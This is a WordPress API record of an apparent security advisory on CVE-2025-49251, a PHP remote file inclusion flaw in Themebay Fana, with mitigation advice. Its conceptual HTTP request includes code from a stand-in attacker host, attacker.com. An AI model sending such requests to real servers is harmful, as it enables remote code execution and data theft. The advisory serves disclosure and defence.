{"id":55423,"date":"2025-06-27T09:11:26","date_gmt":"2025-06-27T09:11:26","guid":{"rendered":""},"modified":"2025-09-12T00:48:15","modified_gmt":"2025-09-12T06:48:15","slug":"cve-2025-49251-php-remote-file-inclusion-vulnerability-in-themebay-fana","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-49251-php-remote-file-inclusion-vulnerability-in-themebay-fana\/","title":{"rendered":"<strong>CVE-2025-49251: PHP Remote File Inclusion Vulnerability in Themebay Fana<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>Recently, a new vulnerability, identified as CVE-2025-49251, has been discovered within the Themebay Fana PHP program. This flaw allows for PHP Remote File Inclusion, a serious issue that can lead to system compromise or data leakage. <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49255-php-remote-file-inclusion-vulnerability-in-themebay-ruza\/\"  data-wpil-monitor-id=\"63719\">PHP developers and administrators using Themebay<\/a> Fana, particularly versions up to and including 1.1.28, are the primary group at risk. This vulnerability matters due to its severity, which has been given a CVSS score of 8.1, indicating it as a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47162-high-risk-buffer-overflow-vulnerability-in-microsoft-office\/\"  data-wpil-monitor-id=\"61751\">high-risk vulnerability<\/a>.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-49251<br \/>\nSeverity: High (8.1 CVSS Score)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: Low<br \/>\nUser Interaction: None<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6435-firefox-vulnerability-leading-to-potential-system-compromise-and-data-leakage\/\"  data-wpil-monitor-id=\"64829\">System compromise or data<\/a> leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-2590078306\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>Themebay Fana | Up to and including 1.1.28<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The vulnerability, CVE-2025-49251, lies within the &#8216;include&#8217; or &#8216;require&#8217; statement in the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49258-critical-php-local-file-inclusion-vulnerability-in-themebay-maia\/\"  data-wpil-monitor-id=\"63789\">PHP program of Themebay<\/a> Fana. It allows an attacker to manipulate the filename that is passed to these statements and thus include a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48125-high-risk-php-remote-file-inclusion-vulnerability-in-wp-event-manager\/\"  data-wpil-monitor-id=\"61889\">remote file<\/a>. This remote file can contain malicious PHP <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47164-code-execution-vulnerability-in-microsoft-office-via-use-after-free-error\/\"  data-wpil-monitor-id=\"61845\">code that gets executed<\/a> on the server. This can <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-47167-microsoft-office-type-confusion-vulnerability-leading-to-unauthorized-local-code-execution\/\"  data-wpil-monitor-id=\"61764\">lead to unauthorized<\/a> system access and potential data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3518019991\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>Below is a conceptual example of how the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-6001-cross-site-request-forgery-vulnerability-in-virtuemart-product-image-upload-function\/\"  data-wpil-monitor-id=\"62162\">vulnerability might be exploited using an HTTP request<\/a>. The attacker sends a POST request that includes a malicious payload designed to exploit the PHP Remote <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-36631-critical-file-overwrite-vulnerability-in-tenable-agent\/\"  data-wpil-monitor-id=\"61870\">File Inclusion vulnerability<\/a>:<\/p>\n<pre><code class=\"\" data-line=\"\">POST \/vulnerable\/endpoint HTTP\/1.1\nHost: target.example.com\nContent-Type: application\/json\n{\n&quot;include_file&quot;: &quot;http:\/\/attacker.com\/malicious_file.php&quot;\n}<\/code><\/pre>\n<p>In this example, the attacker is attempting to include a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-7390-malicious-client-bypass-of-opc-https-server-certificate-trust-check\/\"  data-wpil-monitor-id=\"81882\">malicious file from their server<\/a>. If the server is vulnerable, this file will be included and executed, leading to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49415-path-traversal-vulnerability-in-fw-gallery-with-potential-for-system-compromise\/\"  data-wpil-monitor-id=\"62505\">potential system<\/a> compromise or data leakage.<\/p>\n<p><strong>Mitigation and Prevention<\/strong><\/p>\n<p>The primary method to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-39486-rankie-sql-injection-vulnerability-and-mitigation-measures\/\"  data-wpil-monitor-id=\"62504\">mitigate this vulnerability<\/a> is to apply the vendor&#8217;s patch. If a patch is not available or cannot be immediately applied, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation. Further, it&#8217;s always a good practice to sanitize and validate all user inputs and restrict the use of the &#8216;include&#8217; and &#8216;require&#8217; statements to <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49155-uncontrolled-search-path-vulnerability-in-trend-micro-apex-one-data-loss-prevention-module\/\"  data-wpil-monitor-id=\"62503\">prevent these types of vulnerabilities<\/a>.<br \/>\nAlways ensure that your systems are regularly <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48799-privilege-escalation-vulnerability-in-windows-update-service\/\"  data-wpil-monitor-id=\"77841\">updated and patched to prevent exploitation of known vulnerabilities<\/a>.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview Recently, a new vulnerability, identified as CVE-2025-49251, has been discovered within the Themebay Fana PHP program. This flaw allows for PHP Remote File Inclusion, a serious issue that can lead to system compromise or data leakage. PHP developers and administrators using Themebay Fana, particularly versions up to and including 1.1.28, are the primary group [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"om_disable_all_campaigns":false,"footnotes":""},"categories":[1],"tags":[],"vendor":[],"product":[],"attack_vector":[],"asset_type":[],"severity":[],"exploit_status":[],"class_list":["post-55423","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"aioseo_notices":[],"_links":{"self":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55423","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/comments?post=55423"}],"version-history":[{"count":12,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55423\/revisions"}],"predecessor-version":[{"id":74342,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/posts\/55423\/revisions\/74342"}],"wp:attachment":[{"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/media?parent=55423"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/categories?post=55423"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/tags?post=55423"},{"taxonomy":"vendor","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/vendor?post=55423"},{"taxonomy":"product","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/product?post=55423"},{"taxonomy":"attack_vector","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/attack_vector?post=55423"},{"taxonomy":"asset_type","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/asset_type?post=55423"},{"taxonomy":"severity","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/severity?post=55423"},{"taxonomy":"exploit_status","embeddable":true,"href":"https:\/\/www.ameeba.com\/blog\/wp-json\/wp\/v2\/exploit_status?post=55423"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}